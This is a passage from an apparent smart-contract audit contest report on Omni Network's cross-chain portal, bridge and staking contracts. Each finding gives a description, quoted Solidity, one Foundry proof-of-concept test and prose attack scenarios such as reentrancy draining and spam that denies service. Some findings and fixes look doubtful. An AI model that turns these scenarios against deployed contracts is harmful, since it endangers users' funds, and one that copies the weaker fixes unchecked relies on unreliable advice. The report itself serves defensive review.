        emit XReceipt(sourceChainId, shardId, offset, gasUsed, msg.sender, success, errorMsg);
    }
```


1. The problem here is that if even one of the checks fails before incrementing the `outXMsgOffset` the offset between the source and destination chain will get out of sync.
2. For example, if an offset in Optimism is 1 but after this failed message the offset in Base chain is still 0. Now when another message is delivered from Optimism with 2 offsets this check will revert. `require(offset == inXMsgOffset[sourceChainId][shardId] + 1, 'OmniPortal: wrong offset');`

Once the offset gets out of sync all other messages in this route will revert. So i believe this is a high issue.

3.1.29 Pausing `xsubmit` on `chainA` would not stop `chainB` to send valid `xcall` to `chainA`

Severity: High Risk

Context: OmniPortal.sol#L539-L618

- Summary

Pausing `xsubmit` on chainA is not broadcasted to other chains, leading to state inconsistency and stuck funds while bridging is done to chainA

- Finding Description

`OmniPortal.sol`:

```
    function pauseXSubmit() external onlyOwner {
@>      _pause(ActionXSubmit);
        emit XSubmitPaused();
    }

    /**
     * @notice Unpause xsubmissions from all chains
     */
    function unpauseXSubmit() external onlyOwner {
        _unpause(ActionXSubmit);
        emit XSubmitUnpaused();
    }

    /**
     * @notice Pause xsubmissions from a specific chain
     * @param chainId_    Source chain ID
     */
    function pauseXSubmitFrom(uint64 chainId_) external onlyOwner {
@>      _pause(_chainActionId(ActionXSubmit, chainId_));
        emit XSubmitFromPaused(chainId_);
    }

    /**
     * @notice Unpause xsubmissions from a specific chain
     * @param chainId_    Source chain ID
     */
    function unpauseXSubmitFrom(uint64 chainId_) external onlyOwner {
        _unpause(_chainActionId(ActionXSubmit, chainId_));
        emit XSubmitFromUnpaused(chainId_);
    }
```

When pausing `OmniPortal::xsubmit` function on chainA for chainB (or all chains), there are no information forwarded to other chain. This behaviour would lead to chainB (other chain) under the assumption that the chainA still able to receive `xsubmit` function, but the `xsubmit` would fail on chainA, potentially causing state data discrepancy and stuck funds when bridging.

- Proof of Concept

add this `POC.t.sol` file to `contracts/core/test`


```
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity =0.8.24;

import { XTypes } from "src/libraries/XTypes.sol";
import { Base } from "./common/Base.sol";
import { Vm } from "forge-std/Vm.sol";
import { ConfLevel } from "src/libraries/ConfLevel.sol";

contract OmniPortal_PoC is Base {
    function test_PoC_xcallSucceedEvenDestChainXsubmitPaused() public {
        // xsubmit on chain B paused
        vm.chainId(chainBId);
        vm.prank(owner);
        chainAPortal.pauseXSubmit();

        //setup xcall on this chain to chain B
        vm.chainId(thisChainId);
        XTypes.Msg memory xmsg = _increment(thisChainId, chainBId, 0);
        uint8 conf = uint8(xmsg.shardId);

        uint256 fee = portal.feeFor(xmsg.destChainId, xmsg.data, xmsg.gasLimit);
        uint64 offset = 1;

        // check XMsg event is emitted
        vm.expectEmit();
        emit XMsg(xmsg.destChainId, uint64(conf), offset, xcaller, xmsg.to, xmsg.data, xmsg.gasLimit, fee);

        // make xcall
        vm.prank(xcaller);
        vm.chainId(thisChainId);
        portal.xcall{ value: fee }(xmsg.destChainId, conf, xmsg.to, xmsg.data, xmsg.gasLimit);

        // check outXMsgOffset is incremented
        // succeed
```

```
        assertEq(portal.outXMsgOffset(xmsg.destChainId, xmsg.shardId), 1);

        // chain B try xsubmit
        // using mock data to simulate xsub data
        XTypes.Submission memory xsub = readXSubmission({ name: "xblock1", destChainId: chainBId });

        vm.prank(xcaller);
        vm.chainId(chainBId);
        // expect to fail because paused
        vm.expectRevert("OmniPortal: paused");
        chainAPortal.xsubmit(xsub);
    }
}
```

run the command `forge test --mt test_PoC_xcallSucceedEvenDestChainXsubmitPaused` xcall succeed and xsubmit expected revert:

```
Ran 1 test for test/xchain/OmniPortal_PoC.t.sol:OmniPortal_PoC
[PASS] test_PoC_xcallSucceedEvenDestChainXsubmitPaused() (gas: 65783291)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 102.66ms (30.62ms CPU time)
```

- Recommendation (optional)

The idea is:

1. Pausing/unpausing `xsubmit` should be broadcasted to all chain if the target for `xsubmit` is all chain.
2. Otherwise it should be broadcasted to specific chain if the target for `xsubmit` is specific chain.

This can be achieved by using `_syscall` on the other chain to pause `xcall` to the chain whose current chain `xsubmit` is paused. Specifically:

- Implement a mechanism to forward the pause/unpause state to the relevant chains.
- Ensure that the `_syscall` function is used to communicate the pause/unpause state to the target chains.
- Validate that the state synchronization is correctly handled to prevent any inconsistencies or stuck funds.

3.1.30 Reorgs will break the message sequencing disrupting the cross-chain message flow.

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Details

Omni supports two type of message `FINALIZED` and `LATEST` . The finalized message waits for the L1 block confirmation so it is protected against the reorgs, but in the case of the latest message type the message is not protected for reorgs.

With this is mind, if we see the omniPortal then there is a `outXMsgOffset` and `inXMsgOffset`to handle the message sequencing between two chains. If in case the reorgs happen on the source/destination chain the offset will get out of sync and all other messages on this route will revert.

- Flow

1. The user wants to send a message from Optimism to Arbitrum, he calls `xCall` on Optimism with LATEST message type. Because of this the `outXMsgOffset[LATEST][ARBITRUM]` is incremented to 1.

```
 function xcall(
        uint64 destChainId,
        uint8 conf,
        address to,
        bytes calldata data,
        uint64 gasLimit
    ) external payable whenNotPaused(ActionXCall, destChainId) {
        ...SNIP...

->      outXMsgOffset[destChainId][shardId] += 1; // increment nonce

        emit XMsg(
            destChainId,
            shardId,
            outXMsgOffset[destChainId][shardId],
            msg.sender,
            to,
            data,
            gasLimit,
            fee
        );
    }
```

2. Now when the message is delivered to Arbitrum the `xInMsgOffset[OPTIMISM][LATEST]` is also set to 1.

```
function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
   ...SKIP...

//@audit increment here
->>        inXMsgOffset[sourceChainId][shardId] += 1;

     ...SKIP..
    }
```

3. We know that this is not protected against reorgs because of LATEST config type. In case if the arbitrum reorgs. The state will be reverted and `xInMsgOffset[OPTIMISM][LATEST]` will become 0 again.
4. Now when user send another message from OP➔ARB, the `outXMsgOffset[LATEST][ARBITRUM]` will again get incremented to 2.
5. Now when this message is delivered to ARB, the offset in the `xMSg` is 2 but because of reorgs the `xInMsgOffset[OPTIMISM][LATEST]` is still 0 in arbitrum. This results in the following check to revert in arbitrum. because 2(offset) == 1(inMsgOffset) = false.

```
function _exec(XTypes.BlockHeader calldata xheader, XTypes.Msg calldata xmsg_) internal {
uint64 sourceChainId = xheader.sourceChainId;
        uint64 destChainId = xmsg_.destChainId;
        uint64 shardId = xmsg_.shardId;
        uint64 offset = xmsg_.offset;

        require(
            destChainId == chainId() || destChainId == BroadcastChainId,
            'OmniPortal: wrong dest chain'
        );
                //@audit revert here because offset is 2 and 0 + 1 is 1, soo
                // 2 == 1 = false
->>       require(offset == inXMsgOffset[sourceChainId][shardId] + 1, 'OmniPortal: wrong offset');

      ...SKIP...
    }
```

This issue will halt the LATEST config messages between the chains.

- Recommendation

I do not have a concrete solution at the moment but i think using the chain depended nonce for LATEST message is not a good idea and may be we can Improve how the message sequencing works for LATEST.

3.1.31 Finalized broadcast and non-broadcast xmsg have conflicting confirmation levels

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

In `ConfLevel.sol` and `lib/xchain/types.go`, we can see the various confirmation levels of which there are two types - latest and finalized, there is also a broadcast version which is done by applying `| 0x0100` to the non-broadcast version.

```
library ConfLevel {
    /**
     * @notice XMsg confirmation level "latest", last byte of xmsg.shardId.
     */
    uint8 internal constant Latest = 1;

    /**
     * @notice XMsg confirmation level "finalized", last byte of xmsg.shardId.
     */
    uint8 internal constant Finalized = 4;

    /**
     * @notice Returns true if the given level is valid.
     */
    function isValid(uint8 level) internal pure returns (bool) {
        return level == Latest || level == Finalized;
    }

    /**
     * @notice Returns broadcast shard version of the given level.
     */
    function toBroadcastShard(uint8 level) internal pure returns (uint64) {
        return uint64(level) | 0x0100;
    }
}
```

```
// ConfLevel values MUST never change as they are persisted on-chain.
const (
    ConfUnknown   ConfLevel = 0 // unknown
    ConfLatest    ConfLevel = 1 // latest
    _             ConfLevel = 2 // reserved
    _             ConfLevel = 3 // reserved
    ConfFinalized ConfLevel = 4 // final
    confSentinel  ConfLevel = 5 // sentinel must always be last
)

// FuzzyConfLevels returns a list of all fuzzy confirmation levels.
func FuzzyConfLevels() []ConfLevel {
    return []ConfLevel{ConfLatest}
}

type ShardID uint64

const (
    // ShardFinalized0 is the default finalized confirmation level shard.
    ShardFinalized0 = ShardID(ConfFinalized)

    // ShardLatest0 is the default latest confirmation level shard.
    ShardLatest0 = ShardID(ConfLatest)

    // ShardBroadcast0 is the default broadcast shard. It uses the finalized confirmation level.
    ShardBroadcast0 = ShardID(ConfFinalized) | 0x0100
)
```

The big problem here is that for the non-broadcast and broadcast finalized version, they share the same confirmation level!

- The confirmation level for a non-broadcast Finalized is 4 which translates to 0x0100.
- The confirmation level for a non-broadcast finalized is 4 | 0x0100 which also translates to 0x0100.

This can lead to unintended issues.

For example in a commit after the contest started, additional validation was done to distinguish syscall and xcall messages. This caused a really major issue where any valid xcall with a finalized confirmation level will fail because of `xmsg_.shardId != ConfLevel.toBroadcastShard(ConfLevel.Finalized)`, since the broadcast finalization level is equal to the non-broadcast finalization level this `require` check will fail and the entire function reverts causing the valid xmsg to fail forever.

```
        if (isSysCall) {
            ...
        } else {
            // only sys calls can be broadcast from the consensus chain
            require(
                xheader.sourceChainId != omniCChainId && xmsg_.sender != CChainSender
                    && xmsg_.destChainId != BroadcastChainId
                    && xmsg_.shardId != ConfLevel.toBroadcastShard(ConfLevel.Finalized),
                "OmniPortal: invalid xcall"
            );
        }
```

- Recommendation

Use `0x1000` mask for the broadcast conversion, so that non-broadcast and broadcast finalization confirmation level do not conflict with each other.

3.1.32 Potential Reentrancy Vulnerability in _bridge Function of OmniBridge

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description The `_bridge` function in `OmniBridge.sol` contains a potential reentrancy vulnerability. In this function, the contract makes an external call to `omni.xcall`, which, if exploited, could allow a malicious actor to re-enter the _bridge function before the state change is complete. Since this function performs state-changing operations like transferring tokens and calling the external xcall function, it is vulnerable to reentrancy attacks if a malicious contract manages to re-enter and call _bridge again during the external call.

Reentrancy can allow an attacker to execute the function multiple times before the previous function call is completed, leading to unintended and often exploitative effects, such as withdrawing more tokens than intended.

- Proof of Concept Consider the following example where an attacker exploits reentrancy:

1. The attacker creates a contract that calls _bridge with specific parameters.
2. After _bridge transfers tokens from payor to the contract, the external call to omni.xcall is triggered.
3. The malicious contract, leveraging omni.xcall, calls back into _bridge before the first execution completes, repeating the _bridge function logic and transferring additional tokens.
4. The lack of a reentrancy guard allows the attacker to repeatedly enter _bridge and drain the contract of tokens.

- Recommendation **Add Reentrancy Guard:** Apply a nonReentrant modifier from OpenZeppelin's ReentrancyGuard library to the _bridge function. This will prevent reentrant calls to _bridge during the execution of the function.

3.1.33 Transfer Failure may occur in the "token.transfer function"

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

SUMMARY

The token.transfer function may fail due to insufficient balance, or the recipient being a contract that rejects tokens. If it fails, the transaction will revert.

LINE OF CODE

https://github.com/omni-network/omni/blob/263674cbd58a63f8496ed7d0afa4bc63fcd983c9/contracts/core/src/token/OmniBridgeL1.sol#L59

TOOLS USED

Manual Review

RECOMMENDED MITIGATION

To mitigate the risks associated with token transfer failure, consider the following strategies:

1. Check Transfer Return Value: Ensure that the token.transfer method returns a boolean indicating success. If it returns false, revert the transaction with a clear error message.

[require(token.transfer(to, amount), "Token transfer failed");]

2. Use a Withdrawal Pattern: Instead of transferring tokens directly, consider using a withdrawal pattern where users can claim their tokens. This way, you can avoid potential issues with token transfer failures:
3. Limit Transfer Amounts: Set reasonable limits on the amount that can be transferred in a single transaction to reduce the risk of transfer failures due to excessive gas requirements.
4. Fallback Mechanism: Implement a mechanism to handle failed transfers. This might include retrying the transfer or logging the failure for later review.

3.1.34 Potential Denial of Service

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

SUMMARY

If the recipient contract reverts (either intentionally or due to some internal logic), users might lose the ability to withdraw without an informative error or a fallback.

LINE OF CODE

https://github.com/omni-network/omni/blob/263674cbd58a63f8496ed7d0afa4bc63fcd983c9/contracts/core/src/token/OmniBridgeNative.sol#L95C1-L95C5

TOOLS USED

Manual Review

RECOMMENDED MITIGATION

Consider using a pattern that allows users to withdraw after a failure, or implement a mechanism for the contract to manage these cases more gracefully.

3.1.35 No Rate Limit on `xcall`

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: If we take a look at `OmniPortal::xcall()`:

```
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
        require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
        require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
        require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
        require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
        require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

        // conf level will always be last byte of shardId. for now, shardId is just conf level
        uint64 shardId = uint64(conf);
        require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

        uint256 fee = feeFor(destChainId, data, gasLimit);
        require(msg.value >= fee, "OmniPortal: insufficient fee");

        outXMsgOffset[destChainId][shardId] += 1;

        emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
↪   fee);
    }
```

We see that there is currently no rate limiting enforced on a contract level, which is very common in cross-chain messaging protocols.

This opens up the door for a cheap DoS attack.

Proof of Concept:

- Alice picks a cheap source chain and a cheap destination chain.
- Alice floods messages from `src -> dest`.
- Since there is no rate limiting and no minimum fee enforces, Alice can do this for a non-significant amount.
- Since this project enforces a sequential order to be delivered, the relayer will have to go through all these messages and relay them to the `dest` chain.
- Honest users will not be able to interact with the cross-chain messaging protocol because the relayer will be too busy processing Alices messages sequentially.
- This results in DoS.

Recommendation: Either implement a minimum fee for xchain messages or introduce rate limiting on a contract level. For example, these protocols have a (variant) of rate limits:

- LayerZero
- CCIP

3.1.36 Wrong logic implementation in the `Predeploys::notProxied` function

Severity: High Risk

Context: Predeploys.sol#L32, Predeploys.sol#L41

- Summary The explanation logic is not the same as that implemented in the `Predeploys::notProxied` function.
- Finding Description In the `Predeploys::notProxied` function, instead of checking for inequality as described in the documentation, we check for equality. This means that where we expect `true` to be returned as the result, it will be `false` that is returned and vice versa; this will cause incoherence in the system and unexpected behaviour that can lead to dangerous issues.

```
    // @audit wrong implementation of the logic function
    /**
@>   * @notice Return true if `addr` is not proxied
    */
    function notProxied(address addr) internal pure returns (bool) {
@>      return addr == WOmni;
    }
```

For example, this function is used in the `Predeploys::impl` function as we can see:

```
    function impl(address addr) internal pure returns (address) {
        require(isPredeploy(addr), "Predeploys: not a predeploy");
@>      require(!notProxied(addr), "Predeploys: not proxied");

        // max uint160 is odd, which gives us unique implementation for each predeploy
        return address(type(uint160).max - uint160(addr));
    }
```

The `require` on the `@>` line will always revert when the `addr` is proxied (i.e: `addr == WOmni`) and will succeed when the `addr` is not proxied (i.e: `addr != WOmni`); which is the opposite of what this `require` is supposed to check. Normally, this `require` should only reverse when the `addr` is not proxied. In this way, the logic of all functions where this `Predeploys::notProxied` function is used will be completely reversed.

- Impact Explanation

1. Access Control and Authorization Failures If `Predeploys::notProxied` is part of an access control mechanism, as in the `Predeploys::impl` function above, this mistake could permit unauthorized access to sensitive functions or deny access to legitimate addresses.
2. Potential Loss of Funds or Erroneous Transactions
    - If `Predeploys::notProxied` is involved in financial transactions this could lead to the loss or misallocation of assets.
    - For example, if `Predeploys::notProxied` were used to prevent certain addresses from withdrawing or transferring funds, incorrect logic would allow unauthorized withdrawals or transfers, creating potential financial loss.

- Likelihood Explanation Each time the `Predeploys::notProxied` function is called in another function or in any operation
- Recommendation (optional)

```
    /**
     * @notice Return true if `addr` is not proxied
    */
    function notProxied(address addr) internal pure returns (bool) {
-       return addr == WOmni;
+       return addr != WOmni;
    }
```

3.1.37 Malicious user can force to fail other users' xcalls

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

Description: A malicious user can make a call to `xcall`:

```
    function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
        external
        payable
        whenNotPaused(ActionXCall, destChainId)
    {
        require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
        require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
        require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
        require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
        require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

        // conf level will always be last byte of shardId. for now, shardId is just conf level
        uint64 shardId = uint64(conf);
        require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

        uint256 fee = feeFor(destChainId, data, gasLimit);
        require(msg.value >= fee, "OmniPortal: insufficient fee");

        outXMsgOffset[destChainId][shardId] += 1;

        emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
↪   fee);
    }
```

The problem here is that a malicious user can create an `xcall` that reverts on the destination chain and because `xcall` messages get batched together, an honest user can be grieved.

Proof of Concept:

- Alice sends `msg_A` from `dest`to `src`
  - This message is meant to revert by calling an contract that reverts.
- Bob sends `msg_B` from `dest` to `src`
- Messages get batched together and submitted to the destination chain by calling `xsubmit` on the `OmniPortal.sol`
  - *Note, we can find the batching process in the relayer/app/creator.go::CreateSubmissions*
- In the `OmniPortal.xsubmit()` call, a loop starts that calls `_exec` on every message, starting with the function of `Alice`
- In `_exec`, the function will revert here:

```
        (bool success, bytes memory result, uint256 gasUsed) =
            isSysCall ? _syscall(xmsg_.data) : _call(xmsg_.to, xmsg_.gasLimit, xmsg_.data);
```

- Because of this revert, Bobs message will not be processed and the Team has clarified that there are no retry mechanisms.

Impact: Depending on what the messages are, this could either be a simple grieve to another honest user or it could lead to loss of funds.

Recommendation: Do not revert when a message call fails from a single user.

3.1.38 Immutable variable `token` of an upgradeable contract OmniBridgeL1.sol is set in the constructor instead of the initializer(...)

Severity: High Risk

Context: OmniBridgeL1.sol#L43-L46

- Description

The immutable variable `token` of an upgradeable contract `OmniBridgeL1.sol` is set in the constructor instead of the initializer function.

Since the `token` immutable variable is set in the constructor of `OmniBridgeL1.sol` which is an implementation contract , the proxy contract's `token` variable will still have the default value which is address zero. This is because the constructor of a contract is run only once during deployment and the proxy contract will not have access to it.

This will cause denial of service to the `bridge(...)` and `withdraw(...)` functions making the `OmniBridgeL1.sol` contract unusable.

- Proof of Concept

The `OmniBridgeL1.sol` is Upgradeable since it inherits from `OmniBridgeCommon.sol` contract which in turn inherit from Openzeppelin's `OwnableUpgradeable` and `PausableUpgradeable` contracts.

`OmniBridgeL1.sol` is an implementation contract but it sets an immutable variable in its contructor instead of the `initialize(...)` function.

The `token` immutable variable will only be set in the implementation contract and not the proxy contract because the proxy contract does not have access to the implementation contract's constructor because the constructor can only be invoked once and that is during deployment.

This will cause the `bridge(...)` and `withdraw(...)` functions to revert because the `token.transfer(to, amount)` and `token.transferFrom(...)` which are in these functions will revert because the token has not been set and it is still the default zero address.


```
File: OmniBridgeL1.sol
contract OmniBridgeL1 is OmniBridgeCommon {
 IERC20 public immutable token;

    /**
     * @notice The OmniPortal contract.
     */
    IOmniPortal public omni;

    constructor(address token_) {
@>        token = IERC20(token_);//@audit: Token set in the constructor of implementation contract
        _disableInitializers();
    }

    function initialize(address owner_, address omni_) external initializer {
        require(omni_ != address(0), "OmniBridge: no zero addr");
        __Ownable_init(owner_);
        omni = IOmniPortal(omni_);
    }

function withdraw(address to, uint256 amount) external whenNotPaused(ACTION_WITHDRAW) {
        XTypes.MsgContext memory xmsg = omni.xmsg();

        require(msg.sender == address(omni), "OmniBridge: not xcall");
        require(xmsg.sender == Predeploys.OmniBridgeNative, "OmniBridge: not bridge");
        require(xmsg.sourceChainId == omni.omniChainId(), "OmniBridge: not omni");

@>        token.transfer(to, amount);//@audit: Token set in the constructor of implementation contract

        emit Withdraw(to, amount);
    }

function bridge(address to, uint256 amount) external payable whenNotPaused(ACTION_BRIDGE) {
        _bridge(msg.sender, to, amount);
    }

    /**
     * @dev Trigger a withdraw of `amount` OMNI to `to` on Omni's EVM, via xcall.
     */
```

```
    function _bridge(address payor, address to, uint256 amount) internal {
        require(amount > 0, "OmniBridge: amount must be > 0");
        require(to != address(0), "OmniBridge: no bridge to zero");

        uint64 omniChainId = omni.omniChainId();
        bytes memory xcalldata =
            abi.encodeCall(OmniBridgeNative.withdraw, (payor, to, amount, token.balanceOf(address(this)) +
↪   amount));

        require(
            msg.value >= omni.feeFor(omniChainId, xcalldata, XCALL_WITHDRAW_GAS_LIMIT), "OmniBridge:
↪   insufficient fee"
        );
@>        require(token.transferFrom(payor, address(this), amount), "OmniBridge: transfer failed");

        omni.xcall{ value: msg.value }(
            omniChainId, ConfLevel.Finalized, Predeploys.OmniBridgeNative, xcalldata, XCALL_WITHDRAW_GAS_LIMIT
        );

        emit Bridge(payor, to, amount);
    }
```

Below we can see the `OmniBridgeCommon.sol` which is the parent of `OmniBridgeL1` is upgradeable because it inherits from Openzeppelin's `OwnableUpgradeable` and `PausableUpgradeable` contracts

```
File: OmniBridgeCommon.sol
abstract contract OmniBridgeCommon is OwnableUpgradeable, PausableUpgradeable {
...
}
```

- Recommendation

Consider moving the initialization of the `token` immutable variable from the `constructor` to the `initializer(...)` function.

```
IERC20 public immutable token;

    /**
     * @notice The OmniPortal contract.
     */
    IOmniPortal public omni;

    constructor(address token_) {
--      token = IERC20(token_);
        _disableInitializers();
    }

    function initialize(address owner_, address omni_) external initializer {
        require(omni_ != address(0), "OmniBridge: no zero addr");
        __Ownable_init(owner_);
        omni = IOmniPortal(omni_);
++    token = IERC20(token_);
    }
```


3.1.39 There is no implementation to deregister a validator in the Staking.sol contract

Severity: High Risk

Context: Staking.sol#L89-L95

- Description

The `Staking.sol` contract has a `createValidator(...)` function to deposit ETh and register validator but does not have a corresponding function to `opt-out` (deregister) from the `staking.sol` contract. This makes imposible for `validators` to deregister and as well recover their deposit

- Proof of Concept

The `Staking.sol` contract has a `createValidator(...)` function to deposit ETh and register validator but does not have a corresponding function to `opt-out` (deregister).

```
File: Staking.sol
 /**
     * @notice Create a new validator
     * @param pubkey The validators consensus public key. 33 bytes compressed secp256k1 public key
     * @dev Proxies x/staking.MsgCreateValidator
     */
    function createValidator(bytes calldata pubkey) external payable {//@audit loss of ETHer because no record.
        require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
        require(pubkey.length == 33, "Staking: invalid pubkey length");
        require(msg.value >= MinDeposit, "Staking: insufficient deposit");

        emit CreateValidator(msg.sender, pubkey, msg.value);
    }
```

- Impact Loss of validator's deposited ETH since there is no function to deregister (opt-out) of the `Staking.sol` contract.
- Recommendation Consider creating a function that allows validators opt-out(deregister) of the `Staking.sol` and also withdraw their deposited ETH.

3.1.40 There is no record accounting for how much validators deposited Staking.sol with createValidator(...) and delegate(...)

Severity: High Risk

Context: Staking.sol#L89-L111

- Description

The `createValidator(...)` and `delegate(...)` functions are used to receive ETH from validators but no record is accounted for how much each validator has deposited. This leads to a lot of issues like validators are not able to withdraw their staked ETH since there is no record and no function to even deregister and withdraw ETH.

- Proof of Concept

The `createValidator(...)` and `delegate(...)` functions does not keep record account of how much ETH a user deposits. Consider a scenario where a user deposits ETH multiple times with both the `createValidator(...)` and `delegate(...)` functions. There is no record accounting for the total amount the user has deposited.

File: Staking.sol

```
 /**
     * @notice Create a new validator
     * @param pubkey The validators consensus public key. 33 bytes compressed secp256k1 public key
     * @dev Proxies x/staking.MsgCreateValidator
     */
    function createValidator(bytes calldata pubkey) external payable {//@audit loss of ETHer because no record.
        require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
        require(pubkey.length == 33, "Staking: invalid pubkey length");
        require(msg.value >= MinDeposit, "Staking: insufficient deposit");

        emit CreateValidator(msg.sender, pubkey, msg.value);
    }

    /**
     * @notice Increase your validators self delegation.
     *         NOTE: Only self delegations to existing validators are currently supported.
     *         If msg.sender is not a validator, the delegation will be lost.
     * @dev Proxies x/staking.MsgDelegate
     */
    function delegate(address validator) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
        require(msg.value >= MinDelegation, "Staking: insufficient deposit");

        // only support self delegation for now
        require(msg.sender == validator, "Staking: only self delegation");

        emit Delegate(msg.sender, validator, msg.value);
    }
```

- Recommendation Consider implementing a mapping for record accounting for amount of deposited ETH per account in the `createValidator(...)` and `delegate(...)` functions and also create functions to withdraw and deregister from the `Staking.sol` with a cooldown period.

3.1.41 DisallowedValidators that already staked ETH in Stake.sol can not their ETH

Severity: High Risk

Context: Staking.sol#L146-L151

- Description

The `Stake.sol` contract has a function that allows the `owner` to disallow even a validator that already staked ETH. After disallowing a validator with the `disallowValidators(...)` validators funcion, the validator can not withdraw their already deposited ETH through the `creareValidators(...)` functions.

- Proof of Concept

The `disallowValidators(...)` validators funcion of `Stake.sol` allows the `owner` to disable validators but there is no function to allow disallowed validators withdraw their deposited ETh if there is any.

File: Stake.sol

```
 /**
     * @notice Remove validators from allow list
     */
    function disallowValidators(address[] calldata validators) external onlyOwner {
        for (uint256 i = 0; i < validators.length; i++) {
            isAllowedValidator[validators[i]] = false;
            emit ValidatorDisallowed(validators[i]);
        }
    }
```

- Recommendation Consider providing a function that allows a disallowed validator withdraw already deposited ETH if there is any.

3.1.42 No delegation is made when delegate(...) function is called

Severity: High Risk

Context: Staking.sol#L103-L111

- Description

The `delegate(...)` function of `Staking.sol` is supposed to delegate to a validator. However there is no delegation implemenation in the `delegate(...)` function. There are only validation and emitting event.

- Proof of Concept

The `delegate(...)` function of `Staking.sol` is supposed to delegate to a validator but there is no delegation made or even any state update or record accounting.

```
File: Stake.sol
 /**
     * @notice Increase your validators self delegation.
     *         NOTE: Only self delegations to existing validators are currently supported.
     *         If msg.sender is not a validator, the delegation will be lost.
     * @dev Proxies x/staking.MsgDelegate
     */
    function delegate(address validator) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[validator], "Staking: not allowed val");
        require(msg.value >= MinDelegation, "Staking: insufficient deposit");

        // only support self delegation for now
        require(msg.sender == validator, "Staking: only self delegation");//audit-issue: No delegation state
↪  update. Just validation.

        emit Delegate(msg.sender, validator, msg.value);
    }
```

- Recommendation

Consider implementing the delegation state update to record the delegation execution.

3.1.43 In-flight cross-chain OMNI transfers can be bricked due to pausing

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Description

This was one of the known issues concerning how the OMNI cross-chain transfers can be lost forever if the OMNI bridge (`OmniBridgeL1` and `OmniBridgeNative`) is paused

Bridge pausing

- When a user calls bridge() to bridge OMNI tokens, an XMsg is sent to the destination chain to call the destination chain bridge's withdraw() function. However, if the withdraw function is paused on the destination chain after the XMsg is emitted, the XMsg will fail to be executed on the destination.
- Deposits will always be paused before withdrawals (withdrawals will only be paused if users are able to withdraw without correct validation)

However, there is a different issue pertaining to how OMNI XMsg can be **in-flight** when the bridges are paused, which is different from the known issue described in description. For example:

- Suppose the user starts to bridge OMNI from L2 => L1
- The `OmniBridgeNative::bridge` is paused and then `OmniBridgeL1::withdraw` is paused.
- Due to finalization delays as well as chain traffic on L1, the user's XMsg will remain in-flight
- When the in-flight XMsg is finally included in the XBlock in L1, it will revert on the `OmniBridgeL1::withdraw`, causing the funds to loss forever.
- Recommendation

Remove the pausing from the withdraw functions, as they don't serve an purpose if the `bridge` function will be paused anyway.

3.1.44 OmniBridgeNative::withdraw() function is vulnerable to cross reentrancy attacks

Severity: High Risk

Context: *(No context files were provided by the reviewer)*

- Summary It is assumed that `OmniBridgeNative::withdraw()` function is immune against reentrant calls by the check at the line 101 however since this function can be called only by `OmniPortal::xcall()` function and xcall can be reentered, `OmniBridgeNative::withdraw()` is still vulnerable to reentrancy and this vulnerability can be used to drain any native omni fund in layer 1 blockchain.
- Finding Description OmniBridgeNative is implemented as following:

```
function withdraw(address payor, address to, uint256 amount, uint256 l1Balance)
    external
    whenNotPaused(ACTION_WITHDRAW)
{
    XTypes.MsgContext memory xmsg = omni.xmsg();

    require(msg.sender == address(omni), "OmniBridge: not xcall"); // this protects against reentrancy
    require(xmsg.sender == l1Bridge, "OmniBridge: not bridge");
    require(xmsg.sourceChainId == l1ChainId, "OmniBridge: not L1");

    l1BridgeBalance = l1Balance;

    (bool success,) = to.call{ value: amount }("");

    if (!success) claimable[payor] += amount;

    emit Withdraw(payor, to, amount, success);
}
```

In this implementation it is assumed that calling this function by `OmniPortal::xcall()` is enough to assure that the `OmniBridgeNative::withdraw()` function is immune against reentrancy attacks however since anyone can call `OmniPortal::xcall()` with valid parameters it isn't completely immune as the implementation of `OmniPortal::xcall()` demonstrates:

```
function xcall(uint64 destChainId, uint8 conf, address to, bytes calldata data, uint64 gasLimit)
    external
    payable
    whenNotPaused(ActionXCall, destChainId)
{
    require(isSupportedDest[destChainId], "OmniPortal: unsupported dest");
    require(to != VirtualPortalAddress, "OmniPortal: no portal xcall");
    require(gasLimit <= xmsgMaxGasLimit, "OmniPortal: gasLimit too high");
    require(gasLimit >= xmsgMinGasLimit, "OmniPortal: gasLimit too low");
    require(data.length <= xmsgMaxDataSize, "OmniPortal: data too large");

    // conf level will always be last byte of shardId. for now, shardId is just conf level
    uint64 shardId = uint64(conf);
    require(isSupportedShard[shardId], "OmniPortal: unsupported shard");

    uint256 fee = feeFor(destChainId, data, gasLimit);
    require(msg.value >= fee, "OmniPortal: insufficient fee");

    outXMsgOffset[destChainId][shardId] += 1;

    emit XMsg(destChainId, shardId, outXMsgOffset[destChainId][shardId], msg.sender, to, data, gasLimit,
    ↪  fee);
}
```

